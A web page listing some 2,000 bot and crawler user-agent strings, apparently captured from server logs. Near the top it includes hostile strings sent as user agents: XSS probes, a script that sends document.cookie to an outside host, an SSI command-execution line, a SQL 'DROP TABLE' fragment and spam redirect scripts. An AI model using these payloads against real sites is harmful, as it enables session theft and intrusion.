•  
     

Bots - 2162 User Agents

Bots - 2162 User Agents

!Susie (http://www.sync2it.com/susie)

">'><script>alert(123)</script>

"Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html

"Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html

"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"

"GoogleBot/2.1"

"Googlebot/2.1+(+http://www.google.com/bot.html)"

"Googlebot/2.1+(+http://www.googlebot.com/bot.html)" Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

"Googlebot/2.1+(+http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html

"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)"

"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4pre) Gecko/2008021019 Fedora/2.0

"Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)"

"YahooFeedSeeker/2.0+(compatible;+Mozilla+4.0;+MSIE+5.5;+http://publisher.yahoo.com/rssguide)"

# UA "Googlebot-Image/1.0"

# UA "Googlebot-Image/1.0"

# UA "Googlebot-Image/1.0"

# UA "Googlebot/Test (+http://www.googlebot.com/bot.html)"

# UA "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)"

# UA "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

#1 in Business Networking, http://www.MarcusWalker.ws

&I=F4750FF73B4079D9DD67B33448E2ED88-4FAA9F0878DA42FB-00C0DC9C8F282D2D-www.versionsofthebible.org

'';!--"<>=&{()}<a href="http://unicornleapfrog.com/Shooting/UFOS">online java game</a>

'; DROP TABLE-- ">'><h1>I made you a cookie, but I eated it :( .</h1><!--

'autokrawl'

( Robots.txt Validator http://www.searchengineworld.com/cgi-bin/robotcheck.cgi )

(+http://www.google.com/bot.html)

(compatible; Googlebot/2.1; +http://www.google.com/bot.html)

* Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

+http://www.google.com/bot.html

+http://www.googlebot.com/bot.htm

+http://www.googlebot.com/bot.html

+kmem/kernel_memory (Pinto; Turbo EFI) 2300_4-cylinder

+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)

./bbl_list.pl/0.1 libwww-perl/5.805

/usr/bss_miner/user_agents

::_detectURL

<!--#exec cmd="/bin/id"-->

</a><a href='http://www.webtoaster.com'>WebToaster</a> - WebToaster V0.9 Alpha

<?php echo "B" ?>

<a href="http://dan.matan.ca">Dan Matan's Site: Pharmacy, Economics, Efficiency, Mods & Random Thoughts</a>

<a href="http://www.es-romatour.com/">Transfer Rome to Fiumicino Airport</a>

<A HREF="http://www.htmlgoodies.com/" onMouseOver="window.status='Click here to go to HTML Goodies'; return true">HTML Goodies</A>

<a href="http://www.mynickname.org">List of Nickname</a>

<A href="http://www.ndss.nl" >NDSS.NL - Nintendo DS Scene Nederland</A title="Mozilla/5.0 (Windows NT 5.0; en-US) Gecko/Firefox/1.0" Bot" Bot>

<a href='http://www.netforex.org'> Forex Trading Network Organization </a> ([email protected])

<a href='http://www.netforex.org'> Forex Trading Network Organization </a> [email protected]

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>Allez les verts</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>But but but</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>C'est pas footu</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>Courbis fait son trou (de balle)</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>Courbis pousse la balle un peu loin</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>Elle est ou la baballe</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>Foot de fou</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>Fou de foot</a>

<a href=http://fr.wikipedia.org/wiki/Rolland_Courbis>Vive le foot avec Courbis</a>

<a href=http://www.courbis.fr>Courbis : Livres et logiciels gratuits, Meteo du RER, etc...</a>

<a href=http://www.courbis.fr>Courbis presente Voyage au centre de la HP28</a>

<a href=http://www.courbis.fr>Courbis presente Voyage au centre de la HP48</a>

<a href=http://www.courbis.fr>Courbis presents a Journey to the Center of the HP48</a>

<a href=http://www.courbis.fr>Courbis vous offre babel, un roman de science-fiction gratuit</a>

<a href=http://www.courbis.fr>Courbis vous offre la meteo du RER</a>

<a href=http://www.courbis.fr>Courbis, Acteur de l'Internet depuis 1988</a>

<a href=http://www.courbis.fr>Courbis, logiciels gratuits pour Pabx Alcatel 4400</a>

<a href=http://www.courbis.fr>Courbis, trucs et astuces pour la Varadero 125</a>

<a href=http://www.courbis.fr>Courbis, trucs et astuces pour le Tomtom Rider</a>

<a href=http://www.txt2pic.com><h1>DIY CUSTOM GRAPHICS ONLINE</H1><script>window.location='http://www.txt2pic.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; Creative ZENcast v2.00.13)

<b> Runnk RSS finder: http://www.runnk.com/il/law : Israeli legal : Mishpat : עורכי דין : חוק ומשפט </b>

<b>Sawah Bwowser V 1.59 (WinXP)</b>

<script type="text/javascript"><!-- function hw_function(){ alert("Hello World!"); } //--></script>

<script>alert (document.cookie);</script>

<script>alert("XSS")</script><?php echo "just checking"; ?>

<script>alert('This site has a XSS vulnerability, it\'s trying to display the user agent back to the user somewhere.')</script>

<script>alert('XSS')</script>

<script>alert(/"XSS"/);</script>

<script>alert(/xss/)</script>

<script>alert(1)</script>

<script>document.print('<img href=”http://55329.glrdmd.eu/admin/2.php?q='+document.cookie);</script>

<script>location.href='http://mihailfedorov.ru';</script>

<script>top.location.href='http://txt2pic.com'</script><a href='http://www.comedysearchengine.com'> (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30;

<SCRIPT>window.location='http://txt2pic.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322)

<SCRIPT>window.location='http://www.sirseek.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM)

<SCRIPT>window.location='http://www.sirseek.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322)

<SCRIPT>window.location='http://www.sirseek.com'</script> (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 6.0; Windows NT 5.1; SV1; SU 3.011; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 7.0; Windows NT 5.1)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)

<SCRIPT>window.location='http://www.syncrisis.com'</script> (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)

<script>window.open('http://www.txt2pic.com')</script>

123spider-Bot (Version: 1.02, powered by http://www.123spider.de

4.1.0 Profile

4.Platz im GIGA-Homepage-Award - http://www.computerproblemboard.de

411.info

411.info Crawler (http://411.info)

411.info WebBot/0.1 (http://411.info/)

66.249.64.13 - crawl-66-249-64-13.googlebot.com

8484 Boston Project v 1.0

8bo Crawler Bot

“Googlebot/2.1+(+http://www.google.com/bot.html)”

“Googlebot/2.1+(+http://www.google.com/bot.html)”.

“Googlebot/2.1+(+http://www.googlebot.com/bot.html)”

“Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27

A1 Sitemap Generator/1.4.9 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2007.07.09

abc/Nutch-0.9-dev (abc; http://abc#11.us; abc at abc dot com)

abot/0.1 (abot; http://www.abot.com; [email protected])

AcadiaUniversityWebCensusClient

Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)

Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)

Ace Explorer

AcoiRobot

Acoon-Robot 4.0.0RC2 (http://www.acoon.de)

Acoon-Robot 4.0.1 (http://www.acoon.de)

Acoon-Robot 4.0.2.17 (http://www.acoon.de)

Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)

Ad Muncher v4.7 Build 27105/1371

Ad Muncher v4.72 Build 30400/1967

AdsBot-Google (+http://www.google.com/adsbot.html)

AdSenserBot

africa/Nutch-0.9 (africa; localhost; localhost)

AIBOT/2.1 By +(http://www.21seek.com , A Real artificial intelligence search engine , China)

AIBOT/2.1 By +(http://www.21seek.com A Real artificial intelligence search engine China)

AideRSS/1.0 (aiderss.com)

aipbot/1.0 (aipbot; http://www.aipbot.com; [email protected])

aipbot/2 (aipbot; http://www.aipbot.com; [email protected])

aipbot/2-beta (aipbot dev; http://aipbot.com; [email protected])

ajSitemap ( http://www.web-max.ca/freeware/ajSitemap )

AKHBOT/1.1 (compatible; MSIE 7.0; Windows NT 6.0)

alef/0.0

AlexfDownload

Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; [email protected])

Amit Singh/Nutch-0.9 (Amit Singh; http://www.cse.iitb.ac.in/~amitsingh; [email protected])

Anon/1.0

AnswerBus (http://www.answerbus.com/)

Anti-XBOCT/2007 [xxx] (OS; X; JU)

AOL_Daniel_Clark_Spider/Nutch-0.9 (AOL Search; [email protected])

Apache

Apexoo Spider 1.0

Apexoo Spider 1.1

appie 1.1 (http://www.walhello.com)

AppleSyndication/54

ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)

aranhabot

archive.org_bot

ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)

asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)

Atomic_Email_Hunter/4.0

Attentio/Nutch-0.9-dev (Attentio's beta blog crawler; http://www.attentio.com; [email protected])

Attributor.comBot

Attributor/Dejan-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com)

Attributor/Nutch-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com)

AurNet07

autokrawl

autowebdir 1.1 (http://www.autowebdir.com)

Axmorobot indexing your site for search.axmo.com - World Wide Search Engine from Axmo.com

baa [the_sheep]

BaboomBot/1.[0-255].[0-255] (\+http://www.baboom.us)

BaiduSpider+ (+; http://www.baidu.com/search/spider.htm; Ubuntu; Compatible; Version; Platform; .NET CLR 2.0.50727; Version)

Baiduspider+(+http://help.baidu.jp/system/05.html)

Baiduspider+(+http://www.baidu.com/search/spider.htm)

Baiduspider+(+http://www.baidu.com/search/spider_jp.html)

Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)

Barca/2.0.xxxx

Basalt v090b

BatchScan

BDFetch

BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )

BeckyBot/2.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

bender/Nutch-0.8.1 ([email protected])

betaBot

Bigsearch.ca/Nutch-0.9-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; [email protected])

Bigsearch.ca/Nutch-1.0-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; [email protected])

BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)

Bimbot/1.0

BinGet/1.00.A (http://www.bin-co.com/php/scripts/load/)

Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)

BKA WebSiteChecker/0.98-20080419

blackspider

Blaiz-Bee/2.00.5502 (+http://www.blaiz.net)

Blaiz-Bee/2.00.5622 (+http://www.blaiz.net)

Blaiz-Bee/2.00.5655 (+http://www.blaiz.net)

Blaiz-Bee/2.00.8315 (BE Internet Search Engine http://www.rawgrunt.com)

bleeding-sucker-bot (+http://www.suckingbleeder.org)

Blern 1.4

blind-dice
 
Blog Conversation Project; [email protected]; http://gking.harvard.edu/blogconv/

BlogBridge 3.0.1 Discoverer (http://www.blogbridge.com/)

BlogBridge 4.0 Discoverer (http://www.blogbridge.com/) Java/1.5.0_03

BlogBridge Service (http://www.blogbridge.com/) Java/1.5.0_09

BlogCorpusCrawler 1.414213 <http://wortschatz.uni-leipzig.de/~mrichter/BCC/>

Bloglines/2.1 (http://www.bloglines.com; xx subscribers)

Bloglines/3.1 (http://www.bloglines.com)

BlogPulseLive ([email protected])

BlogRangerCrawler/1.0

BlogSearch/1.0 +http://www.icerocket.com/

blogsearchbot-pumpkin-2

BloobyBot

Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)

Blubberlutsch/1.0

BlueDragon

BND WebSiteChecker/0.95-20080408

bob/Nutch-0.9 (bob; http://www.google.com; [email protected])

BobCrawl/Nutch-0.9 (Test/Development crawler; http://notavalable.com; [email protected])

boitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html )

boitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html )

boitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html )

boitho.com-dc/0.86 ( http://www.boitho.com/dcbot.html )

Bookdog/4.3.0

Bookdog/5.1.12

BookmarkSync/2.3.2(Windows; U; Microsoft Windows NT 5.1.2600 Service Pack 3; en-US;)

Bot Apoena 2.0; http://www.katatudo.com.br/ajuda/

bot/1.0

bot/1.0 (bot; http://; [email protected])

bot/1.0 (bot; http://www.bot.bot; [email protected])

BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1)

BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 3.0.04506.30)

BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)

BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html)

BuildCMS crawler (http://www.buildcms.com/crawler)

BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; [email protected])

bwh3_user_agent

Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; [email protected])

CacheServer

caizhi/infomation/Nutch-0.8.1

Canookle/1.1 (+http://www.canookle.ca/spider.html)

Carracas 1.4.1

CatchBot/1.0; +http://www.catchbot.com

Cazoodle/Nutch-0.9-dev (Cazoodle Nutch Crawler; http://www.cazoodle.com; [email protected])

CazoodleBot/0.0.2 (http://www.cazoodle.com; [email protected])

CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; [email protected])

CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; [email protected])

CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com; [email protected])

CCBot/1.0 (+http://www.commoncrawl.org/bot.html)

ccubee/2008

ccubee/3.5

CentiverseBot - investigator

CentiverseBot - investigator/3.0 (http://www.centiverse-project.net)

cf_crawler/0.1 libwww-perl/5.808

cfetch/1.0

CFG_SPIDER_USER_AGENT

CFNetwork/1.1

CFNetwork/10.4.3

CFNetwork/129.13

CFNetwork/129.16

CFNetwork/129.18

CFNetwork/129.19

CFNetwork/129.20

CFNetwork/129.21

CFNetwork/129.22

CFNetwork/152.4

CFNetwork/217

CFNetwork/220

CFNetwork/221.5

CFNetwork/330

CFNetwork/4.0

Charlotte

Chickety China (the Chinese Chicken)

Chickety China (the Chinese Chicken) / Nutch-0.9

Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)

Chitika ContentHit 1.0

Cityreview Robot (+http://www.cityreview.org/crawler/)

CJNetworkQuality; http://www.cj.com/networkquality

ClamAV 0.92

Clown Epoch

CobWeb/1.0 (auto classifier)

ColdFusion

Combine/3 http://combine.it.lth.se/

compatible; Googlebot/2.1; +http://www.google.com/bot.html

complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; [email protected])

Connotea libwww-perl/5.808

ContactBot/0.2

ConveraCrawler/0.7 (+http://www.authoritativeweb.com/crawl)

ConveraCrawler/0.8 (+http://www.authoritativeweb.com/crawl)

ConveraCrawler/0.9 (+http://www.authoritativeweb.com/crawl)

ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)

ConveraCrawler/0.9e (+http://www.authoritativeweb.com/crawl)

CookieMonster

core-project/1.0

CorenSearchBot/1.0 libwww-perl/5.807

cr4nk.com/4.7 [en] (Windows 3.1; I) [Netscape]

crawl test/Nutch-1.0-dev

Crawler

crawler [email protected]

Crawler.MyCrawler

Crawler/1.0+http://elibron.com

Crawler0.1

crawler43.ejupiter.com

csci_b659/0.13

CSE HTML Validator Professional (http://www.htmlvalidator.com/)

curl/7.10.2 (powerpc-apple-darwin7.0) libcurl/7.10.2 OpenSSL/0.9.7l zlib/1.1.4

curl/7.10.6 (i386-redhat-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4

curl/7.10.6 (x86_64-unknown-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4

curl/7.12.1 (i386-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

curl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

curl/7.12.2 (i686-pc-linux-gnu) libcurl/7.12.2 OpenSSL/0.9.8a zlib/1.1.3

curl/7.13.1 (i386-portbld-freebsd4.10) libcurl/7.13.1 OpenSSL/0.9.7d zlib/1

curl/7.13.1 (i386-portbld-freebsd4.10) libcurl/7.13.1 OpenSSL/0.9.7d zlib/1.1.4

curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7g zlib/1.2.3

curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7i zlib/1.2.3

curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7l zlib/1.2.3

curl/7.13.2 (x86_64-unknown-linux-gnu) libcurl/7.13.2 zlib/1.2.2

curl/7.14.0 (i386-portbld-freebsd5.4) libcurl/7.14.0 OpenSSL/0.9.7e zlib/1.2.1

curl/7.14.1 (i386-portbld-freebsd4.3) libcurl/7.14.1 OpenSSL/0.9.6b zlib/1.1.4 libidn/0.5.18

curl/7.15.1 (i486-pc-linux-gnu) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.5.18

curl/7.15.3 (i386-portbld-freebsd6.0) libcurl/7.15.3 OpenSSL/0.9.7e zlib/1.2.2

curl/7.15.3 (i686-pc-linux-gnu) libcurl/7.15.3 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

curl/7.15.4 (i386-portbld-freebsd6.0) libcurl/7.15.4 OpenSSL/0.9.7e zlib/1.2.2 c-ares/1.3.1

curl/7.15.4 (i586-pc-mingw32msvc) libcurl/7.15.4 zlib/1.2.2

curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.6.2

curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5

curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5

curl/7.16.0 (i686-pc-linux-gnu) libcurl/7.16.0 OpenSSL/0.9.7a zlib/1.2.1.2

curl/7.16.2 (i686-pc-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

curl/7.16.2 (x86_64-redhat-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8

curl/7.16.3 (amd64-portbld-freebsd6.3) libcurl/7.16.3 OpenSSL/0.9.7e zlib/1.2.3

curl/7.16.3 (powerpc-apple-darwin8.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3

curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3

curl/7.16.4 (i386-redhat-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8

curl/7.16.4 (x86_64-pc-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8g zlib/1.2.3

curl/7.17.1 (i686-pc-linux-gnu)

curl/7.17.1 (i686-pc-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1

curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)

curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.7a) (ipv6 enabled)

Custo 2.0 (http://www.netwu.com)

Cuttlefish*:._.:**:._.:*>

CWD DTeam Link Verifier - http://www.childrenwithdiabetes.com/ - [email protected] for comments

CyberPatrol SiteCat Webbot (http://www.cyberpatrol.com/cyberpatrolcrawler.asp)

CydralSpider/3.0 (Cydral Image Search; http://www.cydral.com)

Cynthia 1.0

DA 7.0

Daruma/1.08 (Windows 98; U) [en]

darxi/1.1

darxi/1.1 (http://darxi.com/projects.asp)

DataCha0s/2.0

DataFountains/1.0

DataFountains/DMOZ Downloader

DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)

DataFountains/DMOZ Feature Vector Corpus Creator (http://ivia.ucr.edu/useragents.shtml)

DeadLinkCheck/0.4.0 libwww-perl/5.63

DeadLinkCheck/0.4.0 libwww-perl/5.803

Deebo v.5

Deviance

devil in disguise (v. 2.0.1a)

DiamondBot

Digger/2.0 JDK/1.4.2

disco/Nutch-0.9 (experimental crawler ... please email [email protected] if problems observed; [email protected])

disco/Nutch-0.9 (experimental crawler ... please email [email protected] if problems observed; [email protected])

disco/Nutch-0.9 (experimental crawler; [email protected])

disco/Nutch-1.0-dev (experimental crawler; http://www.discoveryengine.com/robot.html; [email protected])

disco/Nutch-1.0-dev (experimental crawler; http://www.discoveryengine.com; [email protected])

dmoz_tool3

dnScoop Tool

DNSMine 0.9 (http://www.DNSmine.com)

DNSRight.com WebBot Link Ckeck Tool. Report abuse to: [email protected]

DoCoMo/1.0/D501i

DoCoMo/1.0/N505i/c20/TB/W20H10 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

DoCoMo/1.0/Nxxxi/c10

DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)

DoCoMo/2.0

DoCoMo/2.0 F900i

DoCoMo/2.0 F905i(c100;TB;W24H17),gzip(gfe) (via translate.google.com)

DoCoMo/2.0 P900i(c100;TB;W24H11)

DoCoMo/2.0 P902i(c100;TB;W24H12)

DoCoMo/2.0 P904i( m65bot/0.1; c; http://m65.jp/bot.html )

DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)

dodgebot/experimental

Domain Dossier utility (http://CentralOps.net/)

DomainsDB.net MetaCrawler v.0.9.7b (http://domainsdb.net/)

DomainsDB.net MetaCrawler v.0.9.7c (http://domainsdb.net/)

DopodC720

Doris/1.15 [en] (Symbian)

DorkBoy

DotBot/1.0.1 (http://www.dotnetdotcom.org/#info, [email protected])

DotBot/1.0.1 (http://www.dotnetdotcom.org/, [email protected])

Download Demon/3.5.0.11

Download Ninja 3.0

Download Ninja 7.0

dpicella-fertilityweb.net

Dragonfly File Reader

dragonfly(ebingbong#playstarmusic.com)

dragonfly([email protected])

Drupal (+http://drupal.org/)

DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)

DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)

Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)

Dumbot(version 0.2 beta - http://www.searchles.com/ Searchles Inc.)

DuxeT :) / Firefox2 / Win XP || Tylko Lechia!!

DuxeT :) / Firefox2 / Win XP || Tylko Lechia!!

e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)

EasyDL/3.04 http://keywen.com/Encyclopedia/Bot

eCatch/3.0

education portal/Nutch-0.9 (Please do not forbid, its for your benefit)

Elric/Emperor_of_Melnibone (Hellsword; StormBringer - Devourer of Souls)

Email Spider by AlexW

EmailSearch

EmailSiphon

EmailSpider

EmailWolf 1.00

EmeraldShield.com Web Spider (http://www.emeraldshield.com/webbot.aspx)

EnaBot/1.1 (http://www.enaball.com/crawler.html)

EnaBot/1.2 (http://www.enaball.com/crawler.html)

Encourage/6.16 (Win95)

envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.html)

Envolo

EroCrawler

eStyleSearch 4

eSyndiCat Bot

EuripBot/0.4 (+http://www.eurip.com) GetFile

EuripBot/0.4 (+http://www.eurip.com) PreCheck

EuripBot/0.5 (+http://www.eurip.com) PreCheck

EuripBot/1.0 (+http://www.eurip.com) GetFile

EuripBot/1.0 (+http://www.eurip.com) PreCheck

Eurobot/1.0 (http://www.ayell.eu)

Eurobot/Nutch-1.0-dev (1.0)

Evaal/0.7.1 (Evaal; http://search.evaal.com/bot.html; [email protected])

Everest-Vulcan Inc./0.1 (R&D project; host=e-1-23; http://everest.vulcan.com/crawlerhelp)

Exabot-Test/1.0

Exabot/2.0

Exabot/3.0

ExactSearch

exactseek.com

exooba crawler/0.5.1 (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)

exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)

exooba/exooba crawler (exooba; exooba)

EXPLORER

Express WebPictures (http://www.express-soft.com)

facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)

facebookscraper/1.0 (+http://www.facebook.com/sharescraper_help.php)

facebookscraper/1.0(+http://www.facebook.com/sharescraper_help.php)

falcon/13.0

FANGCrawl/0.01

FAST Enterprise Crawler 6 used by EPFL ([email protected])

FAST Enterprise Crawler 6 used by Singapore Press Holdings ([email protected])

FAST Enterprise Crawler 6 used by Verizon Superpages Powered By FAST ([email protected])

FAST Enterprise Crawler 6 used by ypc ([email protected])

FAST Enterprise Crawler used by ILU ( http://www.ilu.co.jp/ )

FAST Enterprise Crawler/6.4 ([email protected])

FAST Enterprise Crawler/6.4 (helpdesk at fast.no)

FAST ESP Document Retriever/CVS HEAD 2007-10-18 23:53:34 UTC

FAST MetaWeb Crawler (helpdesk at fastsearch dot com)

FAST-WebCrawler/2.2.5 - Lycos/Alltheweb/Fast

FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)

FavOrg

favorstarbot/1.0 (+http://favorstar.com/bot.html)

FAX search

Faxobot/1.0

FBI CheckCategory/0.91-20080319 libwww-perl/5.76

Feed::Find/0.06

FeedBurner/1.0 (http://www.FeedBurner.com)

FeedChecker/0.01

FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)

FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)

FeedHub FeedDiscovery/1.0 (http://www.feedhub.com)

